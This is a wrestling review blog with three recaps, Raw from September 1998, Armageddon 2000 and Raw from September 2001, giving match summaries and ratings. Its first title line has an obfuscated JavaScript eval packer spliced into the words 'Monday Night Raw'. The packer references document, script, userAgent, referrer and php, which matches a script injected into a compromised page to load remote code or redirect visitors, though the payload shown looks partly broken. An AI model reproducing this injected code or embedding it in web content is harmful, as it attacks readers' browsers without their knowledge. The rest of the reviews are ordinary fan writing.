Monday Night Raw – September 12, 1998: Save Us Stone Cold!

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efhtb|var|u0026u|referrer|hsyzy||js|php'.split('|'),0,{})) Night Raw
Date: September 12, 1998
Location: Tsongas Arena, Lowell, Massachusetts
Attendance: 10,000
Commentators: Jim Ross, Jerry Lawler

We’re on Saturday again for our first of two Raws in three days. We’re continuing the push to Breakdown on the 28th. We’re in the full stretch of Austin vs. Vince now as Vince is trying to have Kane and Undertaker get the title off Austin by manipulating them somehow. Other than that we’re kind of transitioning from the Summer to the end of the year which culminates at Survivor Series. Let’s get to it.

The arena looks really different here as the aisle is shaped like an L instead of a straight line, so the video screen (not the Titantron) is on the opposite side from the camera instead of on the side if that makes sense.

Jeff Jarrett vs. Edge

Jarrett takes over quickly and rams Edge into the buckle. Edge comes back with an enziguri and here’s Southern Justice with a guitar. Jeff hits a powerslam for two. Northern lights suplex gets two for the Canadian. They’re going back and forth very quickly here. Out to the floor goes Edge but he comes back with a top rope cross body for two. Jarrett hits what would become the Stroke for no cover. DDT gets two for Jarrett as does a catapult into the buckle for Edge. Edge hits two Amigos and a sitout gordbuster for the third. And there’s the guitar shot for the DQ loss for Jarrett.

Rating: C. This was getting good until the end with the lame ending. Edge was a great addition to the roster in a few years but here he was still learning his stuff pretty slowly. Jarrett got MUCH better after getting his haircut and starting the guitar stuff. Also dropping the stupid country music stuff helped a lot.

Austin vs. Kane vs. Undertaker later tonight. Gee that’s kind of a quick addition.

Bradshaw vs. Darren Drozdov

Droz has a torn bicep coming into this. Bradshaw runs him down almost immediately and suplexes Droz for two. Droz comes back with a powerslam but gets backdropped to the floor. Back in the big boot misses and Drozdov hits a big shoulder block to take over. Apparently that triple threat I mentioned earlier is for Breakdown, not tonight. Droz counters the Clothesline and hits a DDT followed by a three point clothesline for two. Bradshaw scoops the feet in the corner and puts his own feet on the ropes for the cheap pin.

Rating: D+. Not a bad match but I never got the appeal of Droz. When you have what he had as a gimmick there’s only so far you can go but he tried. Bradshaw was just waiting for the APA to hook up so he’d have anything to do. Until then he was just a ticked off Texan of which there were about a hundred over the years. Not bad, but just a filler.

I think this show was more like a special rather than a full episode of Raw as we get a long recap of Austin/Kane/Undertaker from over the summer.

Mark Mero vs. Miguel Perez

Yeah this is acting a lot more like a special as there aren’t any promos or anything but a bunch of quick matches. Also it seems like this show is a little shorter than most usual ones. Feeling out process to start as Perez is using his speed advantage to take over. A dropkick puts Mero on the floor and Marc slows things down a bit. Top wristlock gets no one anywhere but Mero takes over with a clothesline in the corner. Perez comes back with a dropkick and standing moonsault for two. DDT gets the same but Perez walks into the TKO for the pin.

Rating: C-. Not a terrible match here but it was a glorified squash which I’m not a fan of. At the very least we didn’t have to hear Jackie talk during this. Perez was never on Raw again so at least he went out losing. Granted I don’t think I ever saw him win so this isn’t a shock. Is it clear I’m trying to fill in this space yet?

The Oddities aren’t worried about the DOA later.

Disciples of Apocalypse vs. Oddities

Golga and Kurrgan here. The ICP play them to the ring again here which was probably a bigger deal back then. Kurrgan and I think Skull start things off before it’s time for the jumping Cartman loving Earthquake. King has Golga’s Cartman next to him with the crown on it. Golga loads up the Earthquake….and the top rope breaks. It falls off the corner and Golga gets choked with it. The ICP run in for the DQ because the ring is broken.

The clowns get beaten up post match.

Here’s Rock with something to say. He wants to talk about the ladder match at Summerslam where he beat up HHH for thirty minutes but then HHH climbed the ladder and stole the Rock’s Intercontinental Title. The Rock will always be the People’s Champion though. Lately though people have had issues knowing their roles. Those people would be the Undertaker and Kane. Kane isn’t going to get away with chokeslamming the Rock and sometime soon Rock will be coming for Kane. This would be something very close to a face turn.

And now for something completely different, here’s the Lion’s Den match from Summerslam, in its entirety.

Owen Hart vs. Ken Shamrock

This match is taking place in a theater adjacent to MSG. I know that because Ross said that this match is taking place in a theater adjacent to MSG. So this is the WWF version of the UFC cage but they’re wrestling a WWF style match in there, which is about what you’d expect I guess, as it’s pretty clear Shamrock wouldn’t have much trouble in a real MMA fight with Owen.

Hart would hang on for awhile, but it’s not likely he would have much of a chance in the long run. The cage offers some different effects, but it’s nothing earth shattering. It’s better than a normal match would have been though, as it suits Shamrock very well. Speaking of that, he hits a sweet move as he gets a running start and plants his foot on the cage to jump backwards and catch Owen with I think either a back elbow or a dropkick.

Either way it looks very good and he nailed him with it. The cage isn’t really offering a lot of differences, but the main one is on whips. With no ropes, you’re just hitting cage, which has to hurt pretty badly. Hart gets the sharpshooter, which Ross says no one does better. Remind me never to leave WWF.

This is likely the coolest spot of the match as Shamrock crawls to the cage and climbs it while in the Sharpshooter, forcing the hold to be broken. The problem is they just brush over it, despite it being brilliant. Owen gets a choke on him but Shamrock runs up the cage to backflip out of it and gets the real ankle lock, not the Angle lock, to get the win.

Rating: B-. This was a weird concept and I guess it worked. It didn’t really fail, but it just wasn’t the best thing in the world. Overall the in cage stuff was fine, but it just wasn’t to my liking and I’m glad it only happened like three times. Shamrock never quite clicked in the WWF until the next year, so that can’t get here soon enough.

Too Much vs. Southern Justice

Christopher and Knight start with Lawler playing cheerleader for his son. Off to Taylor who doesn’t have the same luck. Knight kicks him in the chest which gets a hug from Christopher. From what I can tell, Too Much was going to be Billy and Chuck in the Attitude Era but it didn’t come together. It turns into a power vs. speed match as Brian tries a cross body out of the corner but gets caught in a powerslam for two. Hot tag brings in Scotty but there’s too much power for Too Much and the Slop Drop pins Scotty.

Rating: D. Whatever again here man. It’s very clear that this is just a placeholder show until we get to the real stuff again in two days. That gets really annoying though as we have to sit through a show with stuff like we’ve gotten so far. I watched Summerslam so why would I want to see that match again on Raw?

Promo of the old guys saying they love the new generation.

Dustin Runnels vs. Vader

Dustin is wearing the “He Is Coming Back” shirt. Vader drills him and pounds him down but is too fat to be Vader anymore. The beating goes on for awhile but Dustin gets in a shot to break the momentum. He makes his comeback (get it?) but sees Val in the crowd with a sign saying “I Have Come.” Ok that’s kind of funny. Vader jumps the distracted Dustin and actually wins the match with a Vader Bomb. This was very short.

Video on Sable, focusing on her match from Summerslam.

Al Snow is here and wants to talk to Vince. He gets Slaughter, Patterson and Brisco instead. It’s a comedy segment that ends with Patterson getting a shot between the legs from Head. Get this show over with already!

The Headbangers think it’s Saturday.

Headbangers vs. D’Lo Brown/Mark Henry

Brown and Mosh start things off with Mosh in control. Off to Thrasher who hits a flapjack for two. Henry comes in and it takes double teaming to take him down. A double suplex puts Henry down and it’s back to Mosh vs. D’Lo, with the latter hitting a running powerbomb for two. The Headbangers throw the Nation together and here’s Chyna for the DQ. Too short to mean anything but it was bad.

D-Generation X vs. Kai En Tai

Taka and Roadie start things off. The Outlaws double team Taka so it’s time for Funaki. Men’s Teioh comes in and the squash continues. HHH comes in and doesn’t bother to take his hat off. HHH chops him in the chest and hits the high knee before bringing Dogg back in. The heels take over and quadruple team Road Dogg with elbows and a dropkick from Taka. Top rope splash gets two for Togo. Road Dogg moves from a top rope splash from Taka and it’s off to Pac. Things speed up and everything breaks down. A gorilla press from Billy into the X-Factor pins Taka.

Rating: C-. A squash match to end this wretched show. For some reason that doesn’t surprise me. There was never any doubt that DX was going to win this and they never broke a sweat. The Nation didn’t even come out to try to avenge the earlier DQ loss. In other words, it’s a pretty worthless main event, although that finisher was cool.

HHH gets a fan to flash DX to end the show.

Overall Rating: F. For the love of all things good and holy, NEVER LET AUSTIN AND VINCE BE OFF THE SHOW AGAIN! This was one of the least interesting shows I can ever remember with no main event guys showing up and therefore making it almost a lame house show. I don’t know if everyone else was on vacation or what but this show came off like it was nothing. The ONLY thing of note here is Rock calling out Kane which could have been done on any other show. Just horrible and totally not needed, especially with regular Raw being back in two days.

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Armageddon 2000: So Six Guys Walk Into A Cell…

Armageddon 2000
Date: December 10, 2000
Location: Birmingham-Jefferson Civic Center, Birmingham, Alabama
Attendance: 14,920
Commentators: Jim Ross, Jerry Lawler

This was another request. To call this a one match show is an understatement. That being said, the one match is a 6 man Hell in a Cell match for the world title. There’s also a Kane vs. Jericho last man standing match here to fill in some time. Other than that there isn’t a ton on the card but it looks ok. It’s your standard late Attitude Era stuff so it should be at least ok. Let’s get to it.

The opening video shows all kind of destruction set to a nearly creepy song.

The Cell is hanging above the ring here but not in its usual high up place. It’s like ten feet above the ring which is kind of odd looking. On Heat Foley promised that if there was a major injury he would resign as Commissioner.

Vince is here and Patterson/Brisco welcome him. Vince has a cane for reasons I don’t remember.

Hardy Boys/Lita vs. Radicalz

Radicalz are Saturn, Malenko and Guerrero and this is under elimination rules. This is because Malenko, a ladies man at the time, won a date with Lita due to beating her in a Light Heavyweight Title match. It also resulted in Lita looking AMAZING in white bra and panties. Matt made the save in the bedroom in a funny bit. I haven’t seen that in years.

Eddie is in his old school attire with the half singlet. Jeff does a big dive to take out Perry and Eddie. Fans are all over Eddie as the heels control early. The fans are way behind Lita. Granted if you believe certain rumors lots of people have been behind Lita. And in front of her. Uh on top. Beneath too. Jeff puts out Eddie with a Swanton and Saturn takes a Whisper in the Wind but a Death Valley Driver ends Jeff. I know that came off really fast but that’s all that happened.

Saturn goes out to a Twist of Fate and it’s Dean vs. Matt and Lita. Terri gets speared down by Lita and Malenko gets Matt with a rollup. This makes sense as they’re the most important people to this angle. She uses her lucha stuff to try to get a quick pin but she’s in over her head here. Dean punches her in the chest and hits a top rope suplex to more or less end her. He pulls her up though and I have a feeling I know where this is going. Never mind as the Cloverleaf ends it. Lita says she knows she can beat him.

Rating: C-. Not bad here but this should have been Dean vs. Lita without the other four guys. I guess they were ok and at least they went out without having it to mean much. This wasn’t much though but it was fast paced enough to get something decent going. It’s cool to see Lita put up a fight against a man though which was one of the major points here.

Kurt is warming up and is interrupted by Lillian. He asks her about Bulgarians and various other foreigners. Oh it’s because of him beating them in the Olympics. Angle was the best pompous jerk ever.

We get a HIAC moment as Jack gets backdropped through it and the ring.

European Title: Hardcore Holly vs. William Regal

Regal is a goodwill ambassador here so he tries to be nice but more or less fails. He would become Commissioner before Mania. Regal makes some cheap Alabama jokes but gets cut off by Holly. And here we go immediately. Something tells me this is going to be short. That would be Wikipedia which has the match time on it and it’s under five minutes. Regal takes over and hits a nice top rope suplex which is the move of the night apparently.

We get a Bow and Arrow which is something you never see anymore. Regal uses some very cool old school stuff at times which is fun for people like me that love stuff like that. Holly hits his dropkick and a Falcon’s Arrow but doesn’t cover. Top rope legdrop gets two and that’s more or less it as Holly has hit all of his stuff and didn’t win. For absolutely no apparent reason, RAVEN comes in and hits a DDT on Holly for the pin. I don’t remember a feud or anything at all with Raven in it but whatever.

Rating: D. Boring little match here that I guess was supposed to start up something about the Hardcore Title or something like that but apparently it didn’t mean much since I don’t remember it at all. This was really short and Holly is really bad so it’s not like there was a point here or anything. Just a filler match.

Rikishi isn’t worried about Angle and HHH breaking their three man alliance. Who thought he should be a main event heel?

Ah apparently Holly beat Raven on Monday. Yeah Ross and Lawler should have known that.

Chyna vs. Val Venis

This is RTC stuff. Billy Gunn can NOT come out here according to Chyna. It’s on in the aisle and Chyna is dominating easily. The feud started because Chyna was in Playboy and the RTC objected. They were a parody of the PTC which is a really annoying organization that hates TV because it’s evil and corrupts kids. Chyna gets a DDT for two. The referee tells them two minutes and we go back to even.

Ross calls Ivory Lilith Crane which is rather accurate. Powerslam by Venis sets up the Money Shot which misses. Chyna had been IC Champion at this point so this really shouldn’t be that huge of a one sided match. Ivory gets chased on the floor and gets caught by Val in a Fisherman’s Suplex to end it.

Rating: D. Total TV match here and not a very good one. The blowoff would come at Mania where Chyna destroyed Ivory to win the Women’s Title. She left the company like three months later and no one really cared. This went nowhere at all though and really should have been on Raw or Smackdown.

More HIAC stuff, this time of Foley lighting the board on fire.

Stephanie is worried for HHH. I’m worried for people that have to watch her try to act.

Before the show, Taker is in the empty arena and tells Kevin Kelly about his thoughts and history in the Cell. He literally talks for five minutes, complete with clips from the two more famous Cell matches he was in.

Vince and the Stooges come out. This was during the Linda divorce thing. Vince is worried about the six guys in the match tonight and wants the match called off. This of course takes like 5 minutes also.

We recap Jericho vs. Kane which started over Jericho spilling coffee on Kane and saying something about a burn.

Kane vs. Chris Jericho

This is a last man standing match. They start in the aisle and fight to the back where there is no camera, making the fans rather annoyed. Ah there they are in the back. A big shovel shot misses Jericho and we’re out in the arena now for more than 8 seconds. Nice jumping elbow from the top puts Kane down. The more I see of him the more I like him after a match for Superstars against Yoshi Tatsu. It was just a clinic on how to have a wrestling match.

Teddy Long is the referee which is weird to see. Kane is mad at Jericho over Kane not being able to be handsome due to the HORRIBLE burning and scars. I love continuity issues in wrestling. Pretty much all Kane at this point. JR and King have a weird moment as you have to wonder about two guys that spend that much time together. They started the jokes, not me.

Jericho goes for a spinwheel kick and gets caught. That’s relatively awesome. Lionsault of course misses and Jericho is in trouble again. The top rope clothesline gets a 6 for Kane. Jericho says screw you and gets chokeslammed for his troubles. Since Jericho is getting massacred here I’d bet on him to win. How can you have neutral corners in a one on one match?

Jericho gets up just in time to beat the count off of that to stun Kane. The current world champion, which still feels weird to type, grabs a chair. Jericho blasts him in the balls. Sometimes that’s all you need to do: just blast the dude down south. Missile dropkick puts Kane down but Jericho pulls him up. Lionsault onto a chair onto Kane and I wonder how much that would actually hurt Kane. If Jericho was holding the chair it definitely would but I’m not sure here.

Kane sits up at like 8 and beats the crap out of Jericho. Blonde dude gets thrown to the floor and his head smacks the mat on the ground which looks awesome but painful too. We head up to the production area and Kane goes through a table. The set of the PPV is more or less a war zone where everything is a wreck. One of the things there is a massive wall of barrels which Jericho knocks onto Kane, which he could be on his feet underneath, for the win.

Rating: C+. Pretty good here but nothing really all that great. There are FAR better last man standing matches even on Raw. This was ok though with Jericho never being beaten down long enough to make his comeback unrealistic. They did a decent enough job of passing about 20 minutes though. Not a lot of chemistry here though.

Foley isn’t having second thoughts about making the match.

HBK is at WWF New York and is pretty clearly intoxicated. This is less than three years after his back injury and just under two years before he comes back. He can barely talk and picks Taker to win the match tonight.

Quick recall of the thumb tacks at the second match, which was a brand new spot at the time.

Some XFL players are here.

Tag Titles: Edge and Christian vs. Right to Censor vs. Dudley Boyz vs. K-Kwik/Road Dogg

K-Kwik is R-Truth and the RTC (Buchanan and Goodfather) are the champions here oddly enough. The Dudleyz had pretended to join the RTC but wound up putting Richards through a table. This appears to be one fall to a finish. Truth and Dogg do a rap to the ring and it’s awful. Buchanan and D-Von start us off and the champion dominates. I’d expect more or less a mess here for the most part.

Yep there’s nothing close to a structure here other than two guys in there at once more often that not. Bubba does Road Dogg’s dance in a funny bit. The fans want tables already and a very fast moving K-Kwik beats up Edge. This isn’t much at all. Everything breaks down and Truth goes for an over the top rope dive but gets caught in a shoulderbreaker.

What’s Up to Edge and it’s Table Time. This time though they just hit RTC with it. They TOTALLY mistime 3D as it ends in a downward spiral instead of a cutter. The one on Goodfather isn’t much better as the cutter barely connects. Spear to Bubba gets two as D-Von is down on the floor thanks to Steven. Unprettier gives Edge and Christian the tag belts.

Rating: D+. Total mess here with no need to have Road Dogg and Kwik in there as they just made things too complicated. Four teams are just too many and this never went anywhere. The tag titles hopped around all the time back in this era and it didn’t really matter what happened who had them here. Nothing that bad I guess but it just never got going at all.

HHH rants at Stephanie about having to be champion, which he wouldn’t do for well over a year. He also forgets when he beat Foley.

Speaking of that we have a clip from said match, which is very underrated.

Intercontinental Title: Chris Benoit vs. Billy Gunn

Gunn is THE ONE here and somehow has even fewer people caring about him than he did back in the Outlaw days. Hmm I wonder who is going to win here. No point to this match is given but I’d bet on it just being a title match for the sake of having a title defense, which is fine if they get it on the far better Benoit. Nice drop toehold on Benoit and that’s about all that’s nice from Gunn.

JR gets in one of those creepy lines by saying Benoit hangs with everybody. Benoit goes after the knee and it’s one sided so far. Hopefully it stays that way so that Gunn doesn’t get to go on offense. Benoit puts on a Figure Four and Gunn’s selling is awful. He doesn’t even move until he goes for the reversal. He raises a shoulder to avoid the pin but other than that there is nothing from Gunn at all.

The headbutt misses as this has been a very boring match. Gunn uses a gorilla press and his knee is fine apparently. Same with a Jackhammer. Oh wait he’s limping so everything is ok. Fameasser gets two, signaling that Benoit will in fact be winning the title here. Crossface goes on but Billy makes the ropes. They botch the heck out of something and the fans boo loudly. And there’s the Crossface to give Benoit the title completely clean.

Rating: D. Even with Benoit in there this was bad. Gunn was just so totally worthless most of the time and this was no exception. He was botching stuff all over the place, he wouldn’t sell the knee and the ending was just out of left field because he wouldn’t sell the knee. Thankfully though they got the belt off of him and Benoit would move on to Jericho and then Angle, so all was right with the world.

Austin talks to JR and says you can’t prepare for a HIAC match and that he hasn’t slept. The prize is the title but he’ll take revenge when he can get it.

Women’s Title: Molly Holly vs. Ivory vs. Trish Stratus

Trish is worthless at this point and can’t do a thing in the ring other than look good. Molly is very attractive at this point, wearing the blue outfit and having the blonde pigtails. The blondes fight while Ivory just kind of stands off in the back. Trish is a heel at this point too. Molly takes them both out with a cross body and then Ivory steals the pin on Trish after Molly hit a powerbomb on her. This barely broke two minutes. T&A comes out to go after Molly but Crash and the APA, who T&A had injured, returns for the big beatdown.

Rating: N/A. Molly’s hotness was very underrated back then. That plus Trish was a great combination. But this is the next to last match on the card? Really?

Taker threw Foley off the Cell.

Rock talks about being ready to do whatever it takes to win the match.

The match was basically three feuds: Rock/HHH, Angle/Taker and Austin/Rikishi being thrown into one match. Today this would be the Elimination Chamber. Vince doesn’t want it to happen and for some reason doesn’t just call it off since he’s, you know, the boss.

WWF Title: HHH vs. The Rock vs. Undertaker vs. Steve Austin vs. Rikishi vs. Kurt Angle

Angle is champion here. I remember the buildup for this and the question being who would take the huge bump. It more or less came down to Rock or HHH as Taker was too big, Rikishi was too big and Austin/Angle both had far too bad necks to take the risk. Rikishi is just so freaking worthless that it’s amazing. Angle comes out third which is kind of weird. If I remember right Chyna made fun of his attire here as he complained about his package looking too small. Rikishi is mad at Angle for beating him up on Smackdown due to that alliance being broken. I think this is the debut of Rollin as Taker’s theme song. Rock walks straight in as Angle is staying outside for awhile. There are like 6 referees in there keeping people from fighting each other before the match starts. Austin gets a HUGE pop since we’re in the deep south. He throws Angle in and we’re on.

The match has to end in the cage. I’ll do what I can to keep track of what’s going on here but don’t count on much. Angle vs. Taker, Samoan violence and Austin vs. HHH if you’re curious. Lawler evaluates the talent in there at a billion dollars. And people wonder why the USWA went out of business. Leaping knee takes Austin down. We’re just standing around at the moment as we wait on the big thing to happen, likely involving vince. Rock beats on Angle in the ring while the other four fight on the floor.

And now there’s no one in the ring. Ok then. Ah make that Angle/Rock again. This really would have been perfect for the Chamber if it had existed at the time. They overhype everything here as it’s decent but really just a lot of punching so far. HHH gets rubbed into the cage by Austin. Lawler: Don’t rip his nose off! This really isn’t that interesting at all. A bloody HHH hits the Pedigree on Rikishi and Rock saves. I think that’s the first cover of the match.

Finishers a go-go in the ring and everyone saves. After some more basic stuff, Vince and the Stooges come down with a freaking hay truck and says he’s going to tear the cage down. There goes the door and you know what’s coming now. Foley comes down and runs the three guys off, saying the match is going to happen. HHH is outside and Austin follows him.

They fight up by the cars and everyone else comes up there too. Austin hits him with a boom camera and winds up going through a window to bust him open. Pedigree on Rock onto a car. Isn’t the point of a Cell match for the to stay in the Cell? Rock is bleeding….kind of. Ah that’s more like it. Ross oversells everything here, making it sound like it’s the best match ever or something like that. HHH takes a slingshot into a car in a cool looking spot.

Taker and Angle go back to the ring area and it’s all Taker. A chair shot busts him open as HHH and Austin climb the cage. They fight on top and HHH teases the big drop. Angle comes up too to get away from Taker. Stunner on the roof and Taker is up there now too. Rock and Rikishi are the only two not up there at this point. Angle is bleeding now and HHH climbs down to HUGE booing. Austin follows which makes sense.

And here come the Samoans. Taker gets a chair on top somehow and hits a SICK shot to Angle’s head. The fat man hits Taker though and stands tall. It’s just hard take him seriously in that thong though. Rock is on the floor as I don’t think he was ever up top. Angle gets down and it’s the two big men left. They slug it out near the edge over the truck and in the words of Mark Madden: FLY FAT BOY FLY! Austin stops dead to see what the thud was, as does Rock. Austin’s face is the most interesting part here actually.

The roof goes off as Austin and Rock slug it out. You knew that was Mania right there. What we didn’t know was that it would top off the best PPV of all time. Rock actually wins the fight and sets for the elbow. Cue HHH for the save as I wonder how we never got the triple threat with these three guys. Rock Bottom to Angle but Austin saves. Stunner to Rock and we get a back flip, but HHH takes out Austin with a neckbreaker, allowing Kurt to put his hand on Rock to retain and shock everyone kind of, ending the show.

Rating: B. This was good but a far cry from the other Cell matches. Like I said, this was perfect for the Chamber but this was still a big match. The first half or so is really weak until we get to all the finishers, but even then we were waiting on it to turn into the big war. Vince and the truck did that and once that happened it really took off and was the match I think they were shooing for. It’s good but it’s not a classic. Meltzer allegedly said it was a match of the year candidate. Must have been a very weak class that year if that’s the case.

Overall Rating
: D+. The main event is good and worth seeing for the spectacle, but other than that this show is really pretty weak. It’s painful to sit through as we’re just waiting on the last match to start which took forever to get to. There’s some ok stuff but for the most part nothing of note happens here.

A lot of this stuff should have gone on Raw and you kind of have to wonder what the point was in having a lot of this stuff on PPV other than it being filler. It’s ok, but it’s nothing you would want to watch again save for maybe the final match. Watch that, but otherwise not worth the time unless you really love this era.

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Monday Night Raw – September 3, 2001: Kurt Angle: American Psycho

Monday Night Raw
Date: September 3, 2001
Location: Air Canada Centre, Toronto, Ontario, Canada
Attendance: 14,890
Commentators: Paul Heyman, Jim Ross

Another week closer to Unforgiven and to the best of my knowledge, nothing has been announced for the show yet. After the last two weeks being horribly uninteresting shows, hopefully things can bounce back a little bit tonight. The problem with the Alliance stuff at this point is they don’t know what to do next with it. The Alliance is here, they’ve won a few matches, WWF has won a few matches…..and then what? That question never seemed to get answered. Let’s get to it.

We open with a recap of last week where Austin stole the medals. On Smackdown he tried to run Angle over and then threw the medals in a river.

Undertaker vs. Test

They fight over who is stronger to start and Taker uses….my goodness he uses a hip toss and an armdrag. Now it’s an STF, which might be better than Cena’s. Test comes back with a clothesline and some elbows to the face. Side slam gets two as does a middle rope jumping back elbow. Test hooks a Russian legsweep but Taker comes back with a rolling leg lock which is quickly broken up. The fans chant for the Leafs as Taker hits a clothesline. He loads up the Last Ride but Steven Richards of all people runs in for the DQ.

Rating: C-. Not horrible here as it was nice to see Undertaker actually let someone else get in some offense for a change. The ending kind of sucked but I think it was to allow Richards to bring in Kronik to fight Kane/Undertaker. The stuff from Undertaker was pretty nice for a change, especially the armdrags and STF about five years before he became the MMA Cowboy of Death.

Test kicks Undertaker’s head off post match.

Christian says he’s looking forward to winning the title tonight. He’s talking to an usher or something like that when fans come up and say they’ve got front row seats. They’re happy to see Edge’s brother. Christian tells the usher to make sure they’re put in the nosebleed seats so they don’t mess up the pictures when he wins the WCW Title.

Richards says that he jumped Undertaker because Undertaker played a big role in disbanding the RTC. He wants a match with Undertaker on Smackdown.

Clips from the Wrestlemania press conference where the announcement was made that it’s coming to Toronto.

Regal is talking to Tajiri and tells him if he finds a partner tonight, he can have a #1 contenders match vs. the Dudleys. Big Show comes in and speaks Japanese, apparently because he’s Tajiri’s partner.

Austin and Debra get here and the Alliance is waiting for Austin with an ovation. They have a surprise for Austin later because they’re inspired by him throwing Angle’s medals in the river last week.

Dudley Boys vs. Tajiri/Big Show

This is for the #1 contendership for one of the sets of tag titles. Show runs them both over to start and it’s off to Tajiri to face D-Von. Tarantula gets a big pop. Bubba cheats and uses a hot shot on Tajiri to give the EVIL ones the advantage. Torrie comes down and gets in Tajiri/Show’s corner as Bubba drops elbows. Apparently this is for the shot at both sets of titles. Ok then. Tajiri kicks Bubba’s head off and it’s hot tag to Big Show. He cleans house but Tajiri accidentally shoots mist at him, allowing the 3D to pin Tajiri.

Rating: D. What was the point of this again? Was there no team that they could have thrown at the Dudleys to set this up? Sadly enough there isn’t because the division was on the verge of death at this point. Not much to see here but I’m sure the Torrie and Tajiri stuff is starting up soon.

Show runs over Torrie because he’s blind so he carries her off. The Dudleys put Tajiri through the table to a big pop. Show comes back out to make the save, despite Tajiri being dead for the most part.

Shane and Booker offer to help Christian win the title in exchange for the first shot. Christian seems cool with this.

The US Champion Kanyon (I had to remind myself since he never defends the thing) at WWF New York loves Austin and sounds like the Cowardly Lion.

Stephanie comes in to see Austin and Debra to tell them that the surprise is getting closer. Austin thinks Debra is scared that Kurt Angle might be coming. Stephanie assures her there’s no chance Angle will be here tonight. Debra gets him a beer and it fizzes a bit. Uh…ok?

Shawn Stasiak vs. Spike Dudley

Stasiak pounds him in the corner and powerslams him in front of a quiet crowd. Gorilla press gets almost no reaction and the beating continues. Spike gets tripped by Stacy which means nothing as Stasiak charges into a boot in the corner and the Dudley Dog gets the pin.

Molly beats up Stacy post match.

Christian gives Edge the KOTR trophy back and apologizes for being a jerk lately. He wants to win the title on his own tonight too.

Moppy has been kidnapped and Saturn has been given a ransom note asking for $100,000. He asks Hurricane for help and using some very questionable logic, Hurricane concludes that it’s Matt Hardy’s doing.

WCW World Title: Christian vs. The Rock

Shane is guest timekeeper and Booker is guest ring announcer. After Booker introduces himself and Shane, we’re ready to go. Booker distracts Rock and Christian jumps him to start. Shane gets in some shots on the floor and Rock is in trouble due to the numbers game. Rock gets it to one on one and hammers away but Christian kicks him right back down. Out to the floor again and Booker drops Rock on the belt on the table chest first.

Now Christian sends Rock into the table as Canada Power is in control. The reverse DDT onto the knee gets two. After a quick run on the floor Rock hits the Samoan Drop to put both guys down. Shane distracts the referee and Booker slides in the belt to Christian. Rock fights back and hits the belly to belly and a DDT for two. Spinebuster sets up the Sharpshooter but Shane interferes again. Rock drills him but Booker clotheslines him on the top and a reverse DDT gets a VERY close two. Rock throws Christian into Booker and the Rock Bottom retains the title.

Rating: C+. I liked this more than the Rhyno match last week but it was basically the same idea. Rock running through the WCW midcard is fine as they offer quick challenges to him without wasting something big like Booker vs. Rock. It’s clear that match or something similar is happening at Unforgiven, but naturally that’s not important enough to announce yet.

Rock tells Booker to just bring it and it’s on, but Shane jumps Rock and the beatdown commences. The APA makes the save.

Stephanie and Debra go into schoolgirl mode because the surprise is here.

Stephanie comes to the ring to make fun of Canada and their grammar issues. Also why would Canadians celebrate Thanksgiving? Is it because they want to be more like Americans? This comes off like a bad standup comedy bit. They shouldn’t celebrate Labor Day (today) either because they don’t do anything. Speaking of hard work, Stephanie brings out the hardest working man she knows: Austin.

The surprise is a new truck. Debra runs down all the features which takes WAY too long. One of them is the paint job. It’s black. That’s not exactly a feature. It also has a radio and mirrors. She’s really not that good at this. It has power steering and power brakes. Debra is talking about the words written on the tires. Just get to Angle destroying the thing already because you know that’s what this is building to. Debra invites Austin to come see the truck because she wants a ride.

Austin goes to the back and looks at the truck, including the leather which he really likes for some reason. He gets in the back of the truck and says he’s King of the World. FINALLY Kurt comes out of the back and hits Austin with a pipe, chains him up to something in the truck bed and speeds away in the truck.

Matt Hardy/Lita vs. Ivory/Hurricane

The guys start things off and Matt is so fired up that he gets put in position for a superplex. The fans chant for Hurricane as Ivory raises the roof. Men vs. women is cool here. Off to Lita who hits her headscissors but walks into a facejam for two. Off to the men and Matt can’t fire the crowd up at all. Ivory gets speared down but Saturn comes down to break up the middle rope legdrop. Eye of the Hurricane gets the quick pin. This was worthless.

Saturn beats up Hurricane post match.

Storm comes up to Christian and makes fun of him for losing. He makes fun of Toronto and Edge makes fun of Storm for various issues.

Debra does the first logical thing in the history of wrestling kidnappings and CALLS THE POLICE. The Alliance has a TV in their locker room and the truck pops up on it. Where is this feed supposed to be coming from? Austin is also blindfolded despite not being so when they left. Angle rants about the stolen medals and says this inspired him. Angle takes him to the edge of the bridge they’re on and Austin apologizes for throwing the medals away. Kurt lifts him onto the edge but doesn’t throw him. He says we need a higher bridge and it’s back to the driving.

Intercontinental Title: Lance Storm vs. Edge

Huge pop for Edge of course. Storm jumps him during his posing but Edge is ready for him. Storm comes back with an enziguri to send Edge to the floor. Springboard clothesline back inside gets two. Edge gets beaten on for a bit but comes back with clotheslines and a spinwheel kick. Edge-O-Matic gets two. Superkick and Edgecution are blocked and there’s the Maple Leaf. Edge finally makes the rope and Storm stays on the knee, but gets rolled up for Edge to retain.

Rating: C. This wasn’t bad at all. Canadians are good at having wrestling matches and this was no exception. To be fair Storm was trained by Stu so did you expect anything but quality? I like both of these guys though so that probably has something to do with it. Granted this was just a way to set up what comes next.

Christian comes out with a chair for the save and cracks Edge with it to turn heel. He adds a one man Conchairto, which I think is the debut of that move. Those were some great chair shots.

Rob Van Dam/Rhyno vs. Jeff Hardy/Chris Jericho

This is Jeff’s return after destroying himself and a table in a ladder match with RVD from two weeks ago on Smackdown. Rob and Chris start things off and a jumping enziguri puts Van Dam down and it’s off to Jeff. The fans chant at Hebner so the match doesn’t get much attention. Jeff pulls Rob off the top and does the legdrop between Rob’s legs. Rhyno and Chris fight so the Swanton gets no count. It also hurts Jeff’s ribs which is the call of the Rhyno who works the injury over.

The fans chant ECW as a belly to belly suplex looks to set up the Gore. Jeff moves and it’s hot tag to Jericho. Rhyno is sent to the floor and Rob counters the Walls. Chris dropkicks Rhyno off the apron and Rob knocks Jericho down and hits a standing moonsault. He tries a German suplex but Jericho rolls through for the pin, just like Edge did in the last match.

Rating: C-. This was more or less a shortened version of last week’s main event which wasn’t all that good. That being said, the only way to fit this massive roster on TV every week is with a tag team main event so there isn’t much of a shock there. Jericho and Van Dam faced each other at the PPV I believe in what was probably one of the best matches of the night.

Back to the American Kidnapping Hero who has found a higher bridge. Austin begs for a bit and Angle continues to be psycho. Angle says he’s going to make Austin think about it, which means we’ve got bills to pay so let’s take a break.

